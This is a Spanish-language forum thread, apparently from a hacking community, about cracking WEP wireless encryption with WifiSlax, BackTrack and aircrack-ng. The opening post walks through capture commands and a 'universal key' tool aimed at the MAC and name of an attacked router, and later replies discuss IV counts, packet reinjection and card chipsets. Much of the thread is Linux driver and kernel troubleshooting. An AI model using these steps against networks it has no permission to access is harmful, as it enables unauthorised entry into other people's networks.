[Como] Seguridad inalámbrica: WEP (Crackear WEP)

[manuel santo]

Hola , me llamo Manuel santos y es la primera ves que entro en este foro , es muy interesante todo lo que e podido leer y entender , espero me disculpéis por si me precipito en mis actuaciones , no acostumbro a participar en foros y soy un poco torpon

Conforme al tema en cuestión yo e utilizado el wifisla 3.0 y una antena alfa networ chiset realtek

Luego una vez reinicio habiendo introducido wifisla y se abre

e puesto en loging- root
en passwoor-toor
sale wifisla -xconf
sale wifisla -startx y ya sabemos que esto es para configurar la tarjeta grafica de linux
se abre el entorno de wifisla y su música
wfisla -iwconfig wlan0
wifisla -airmon-ng start wlan0 6
wifisla - iwconfig wlano
wifisla - airodump-ng -w xxxx wlan0 ( esto es para buscar canal)
hay un pequeño toque de dos teclas y seguimos
wifisla- airodump-ng -w xxxx -c11 wlan0
hay un pequeño toque de dos teclas de nuevo
wifisla - ls
cierro la ventana ( se me olvidaba , una ves hubiera captura do un solo paquete
y teniendo guardado en la unidad c del pc airelab y el comando universal

cd..&&cd..&&cd AIRELAB&&EWF 00:00:00:00:00:00 WLAN_00 xxxx-02.cap (clave universal) poniendo la mac del routers atacado y su nombre wlan_00 o xx y el ivs capturado -02.cap o -03.cap etc
Me voy a Home en wifisla y copio clave -02.cap
pincho carpeta mnt luego en sda1 que contiene el airela , vuelvo a pinchar y pego en el centro pantalla con post file , cierro todas las ventanas .
entro en la unidad c copio comando universal con su mac y los punto cap correspondiente y pincho en airela , pincho en acceso directo a consola y pego comando universal y obtengo la clave en tan solo 3, 4 minutos siempre que tenga capturado un mínimo de 1 o mas paquetes aveces ,espero que os sirva de algo .

Mi pregunta es que en alguno routers de telefónica (wlan_7B ) aun teniendo la clave y colocándola y diciendo me el ordenador obteniendo direccion de red y luego me pone conectado , es que al querer entrar en Internet no me deja ( y creo que no me designa ip por alguna configuracion interna del routers , e intentado cambiar mi ip y la mac de la antena y aun asin no me deja después de tener la clave , ¿ podéis ayudarme

[j8k6f4v9j]

He intentado cambiar mi ip y la mac de la antena y aun asin no me deja después de tener la clave , ¿ podéis ayudarme

Siento no haber contestado antes, he estado ausente y hasta que no han vuelto a escribir en el hilo no lo he visto.

Una vez obtenido la clave, _siempre_ se ha de comprobar descifrando un paquete de una nueva captura actual. Así se comprueban dos cosas: que el programa no muestra una clave producto de un falso positivo y que, no siendo un falso positivo, que no se haya cambiado legítimamente la clave de cifrado.

Para ello recomiendo usar airdecap ( del aircrack-ng)

Salu2

Keep on Rollin'

[salsiria]

el error:
make:*** /lib/modules/2.6.21.5/build:no such file or directory stop
rt73.ko failed to build
make:*** [module] error 1

Gracias.

[j8k6f4v9j]

el error:
make:*** /lib/modules/2.6.21.5/build:no such file or directory stop
rt73.ko failed to build
make:*** [module] error 1

Gracias.

No sé por qué no había visto este mensaje.

Salsiria, el problema es que no tienes las cabeceras del kernel para la versión exacta del mismo. ¿Has hecho esto?:

apt-get install linux-headers-`uname -r`

Salu2

Keep on Rollin'

[Difonia]

Tengo una duda veras io eh usado el WifiSlax y e sigo los mismo pasos que dice el tuyo bueno este es el post : http://foro.hackhispano.com/showthread.php?t=33651
Veras y ya me an funcionado todo mi laptop esta buscando los paquetes y al momento de lanzar el aircrack me sale asi lo cual supongo que esta perfecto
y bueno mi pregunta es como cuantas horas se tiene q esperar?

[Pollonverven]

Es la primera vez que entro en un foro.Voy a formular una duda a ver si alguien puede ayudarme:
Utilizo el backtrack 3 y a menudo me ocurre lo siguiente: Key found (ED:23:46:7F:E2) como coño utilizo este grupo de 5 cifras en hexadecimal.

[Carei]

Hola compañeros me gustaria saber si alguien sabe como se configura este router para añadirle una cuenta dyndns? Salu2

[smaug_]

Por fin!! Despues de un mes sin portatil, ya me lo han devuelto vivito y coleando, o eso creo. Me parece que hay un problema con la bateria, pero lo tengo que mirar con atencion. Pero ese no es el tema. Al tener de nuevo el portatil, me he vuelto a poner a trastear con la debian, asi que he empezado a instalarla y configurarla a mi gusto (aun me queda mucho, ya dare la vara con lo que me cause dificultades).
Bueno, el caso que siguiendo eel buen manual de j8 he conseguido instalar y configurar la inalambrica, pero solo suelto esta parrafada para decir un pequeño apunte.
Me edito, me acabo de dar cuenta que lo de flor es por la censura, ya que no permite el foro decir la palabra "llave" ^^U

Y otro apunte por si alguien tiene el mismo problema que yo, al añadir la puerta de enlace a la tabla de enrutamiento me decia :
SIOCADDRT: El fichero existe.
Era porque la tenia configurada para la eth0 (la conexion de cable) Lo he arreglado echando abajo la conexion de cable (ifdown eth0). Pero como seria simplemente eliminar esa entrada?? Esque he toqueteado un poco y no l he sacado :S

[j8k6f4v9j]

Pero como seria simplemente eliminar esa entrada?? Esque he toqueteado un poco y no l he sacado :S

Si la entrada fue creada con ...

route add default gw 192.168.0.1 eth0

pero en realidad quieres que sea en ra0(por ejemplo), pues...

route del default && route add default gw 192.168.0.1 ra0

Salu2

[LooKoo]

slax ~ # iwlist ra0 scan

ra0 Interface doesn`t support scanning

utilizo Slax BackTrack (tiene casi todo para wireless crack ) Linux slax 2.6.15.6

Con el Kismet recibo paketes de una red wireless (con datos : Network, channel, encryption WEP, LLC, BSSID, maxrate 54.0, etc ) .Pero los paketes no se guardan ninguno .cap
tambien tengo instalado ... aircrack airodump airplay ... y
hay algun otro mode de obtener los paketes en .cap para crackearles ?

[LooKoo]

He conseguido con el Kismet ... 50 Mb de paketes unos 350 IVs ... el problema es que llevo 12 horas con el aircrack y ningun resultado ...
me aconsejais algo ?

[j8k6f4v9j]

En kismet puedes ver el canal en que opera la red que mencionas. Con lo que podrás usar airodump en sólo ese canal para capturar los IVs necesarios.

Claro que te puedo aconsejar algo: No sigas intentando crackear la WEP con 350 IVs porque incluso es probable que dejes frito tu PC. Si observas el uso del procesador a la hora de lanzar aircrack verás que se pone a casi el 100%

Necesitarás alrededor de un millón de paquetes cifrados para obtener una WEP de 128 bits de profundidad, Y unos 500.000 ( o con suerte 250.0009 para una de 64 bits.

A ese ritmo de captura lógicamente tardarás muuuucho tiempo en conseguirlos, por lo que la mejor opción (siempre que sea posible y después de la de capturar tráfico legítimo) será la reinyección.

Para eso puedes leer la documentación de aircrack, y si tienes algún problema con él estaré encantado de echarte una mano.

Salu2

Keep on Rollin'

[LooKoo]

A ese ritmo de captura lógicamente tardarás muuuucho tiempo en conseguirlos, por lo que la mejor opción (siempre que sea posible y después de la de capturar tráfico legítimo) será la reinyección.

No puedo utilizar el aireplay para la inyectacion pq mi chipset es Centrino ... y me pone que no functiona con este chipset . Hay otro mode de accelerar el proceso ?

Gracias

[j8k6f4v9j]

Lo mejor sería que te pillases una USB compatible con aireplay. Son baratas y nunca se sabe cuándo te pueden servir

Salu2

Keep on Rollin'

[LooKoo]

En 21 horas solo a cogido 1470 Ivs.... mejor me compro una tarjeta ))
OK gracias

salu2

[LooKoo]

Weno me compre la tarjeta . Una D-Link AirPlus G pero el linux no la reconoce .

slax ~ # uname -a
Linux slax 2.6.15.6 #1 SMP Fri Mar 24 16:46:23 GMT 2006 i686 unknown unknown GNU/Linux
slax ~ # lspci
00:00.0 Host bridge: VIA Technologies, Inc. VT8377 [KT400/KT600 AGP] Host Bridge (rev 80)
00:01.0 PCI bridge: VIA Technologies, Inc. VT8237 PCI Bridge
00:09.0 Multimedia audio controller: Creative Labs SB Audigy LS
00:0b.0 Network controller: RaLink: Unknown device 0302
00:0f.0 RAID bus controller: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80)
00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)
00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.1 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.3 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86)
00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South]
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 78)
01:00.0 VGA compatible controller: nVidia Corporation GeForce 6200 (rev a1)
---------------------------------------------------------------------------------------------------------------------------

slax ~ # iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

sit0 no wireless extensions.

[j8k6f4v9j]

Esa tarjeta no te servirá, tiene uno de los nuevos chipsets de ralink que son desconocidos para GNU/Linux. Decían hace meses que liberarían los controladores pero no he vuelto a saber sobre versiones estables y eficientes de los mismos. Si estás a tiempo... ¡cámbiala! Yo me pillaría una con chipset atheros, como la smcwpcit-g por ejemplo.

Salu2

Keep on Rollin'

[LooKoo]

[root@82 ~]# lspci
00:00.0 Host bridge: VIA Technologies, Inc. VT8377 [KT400/KT600 AGP] Host Bridge (rev 80)
00:01.0 PCI bridge: VIA Technologies, Inc. VT8237 PCI Bridge
00:09.0 Multimedia audio controller: Creative Labs SB Audigy LS
00:0b.0 Network controller: RaLink RT2561/RT61 rev B 802.11g
00:0f.0 RAID bus controller: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80)
00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)
00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.1 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.3 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)
00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86)
00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South]
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 78)
01:00.0 VGA compatible controller: nVidia Corporation NV44A [GeForce 6200] (rev a1)

[LooKoo]

Ahora parece q si me la reconoce el Fc 7 2.6.21-1.3194.fc7.
Me baje el driver http://rt2x00.serialmonkey.com/rt61-cvs-daily.tar.gz lo instale pero no me aparece ninguna interfaz nueva .

[root@82 ~]# cd rt61-cvs-2007062420
[root@82 rt61-cvs-2007062420]# ls
CHANGELOG CVS FAQ LICENSE Module THANKS WPA_Supplicant
[root@82 rt61-cvs-2007062420]# cd Module
[root@82 Module]# make
make[1]: Entering directory `/usr/src/kernels/2.6.21-1.3194.fc7-i686'
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_main.o
CC [M] /root/rt61-cvs-2007062420/Module/mlme.o
CC [M] /root/rt61-cvs-2007062420/Module/connect.o
CC [M] /root/rt61-cvs-2007062420/Module/sync.o
CC [M] /root/rt61-cvs-2007062420/Module/assoc.o
CC [M] /root/rt61-cvs-2007062420/Module/auth.o
CC [M] /root/rt61-cvs-2007062420/Module/auth_rsp.o
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_data.o
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_init.o
CC [M] /root/rt61-cvs-2007062420/Module/sanity.o
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_wep.o
CC [M] /root/rt61-cvs-2007062420/Module/wpa.o
CC [M] /root/rt61-cvs-2007062420/Module/md5.o
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_tkip.o
CC [M] /root/rt61-cvs-2007062420/Module/rtmp_info.o
CC [M] /root/rt61-cvs-2007062420/Module/eeprom.o
LD [M] /root/rt61-cvs-2007062420/Module/rt61.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/rt61-cvs-2007062420/Module/rt61.mod.o
LD [M] /root/rt61-cvs-2007062420/Module/rt61.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.21-1.3194.fc7-i686'
!!! WARNING: Module file much too big (>1MB),
!!! Check your kernel settings or use 'strip'
*** Module rt61.ko built successfully
[root@82 Module]# make install
*** Install module in /lib/modules/2.6.21-1.3194.fc7/extra ...
make[1]: Entering directory `/usr/src/kernels/2.6.21-1.3194.fc7-i686'
INSTALL /root/rt61-cvs-2007062420/Module/rt61.ko
DEPMOD 2.6.21-1.3194.fc7
make[1]: Leaving directory `/usr/src/kernels/2.6.21-1.3194.fc7-i686'
/sbin/depmod -a
*** Update /etc/modprobe.conf alias for wlan*
*** Install firmware in /lib/firmware ...
*** Check old config ...


Se instalo correctamente ?
[root@82 Module]# modprobe rt61

[root@82 Module]# ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:13:8F:26:5D:C0
inet addr:82.xxx.xxx.xxx Bcast:82.xxx.xxx.xxx Mask:255.255.254.0
inet6 addr: fe80::213:8fff:fe26:5dc0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:43615 errors:0 dropped:0 overruns:0 frame:0
TX packets:18481 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:41965953 (40.0 MiB) TX bytes:1516070 (1.4 MiB)
Interrupt:20 Base address:0xcd00

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:6477 errors:0 dropped:0 overruns:0 frame:0
TX packets:6477 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:47845072 (45.6 MiB) TX bytes:47845072 (45.6 MiB)


Tb instale RutilT http://cbbk.free.fr/bonrom/ http://cbbk.free.fr/bonrom/?download=RutilTv0.14.tar.gz para poder manejar la wifi mejor pero me da el mismo error :

[root@82 RutilTv0.14]# rutilt
Can't find any wireless network interface.
Code : -3


Salu2

[LooKoo]

Bueno areglado .Solo le faltaba un reboot


[root@82 ~]# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11g ESSID:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Retry min limit:7 RTS thrff Fragment thr=2346 B
Encryption keyff
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Espero q todo esto sea util tb para otros ..

Salu2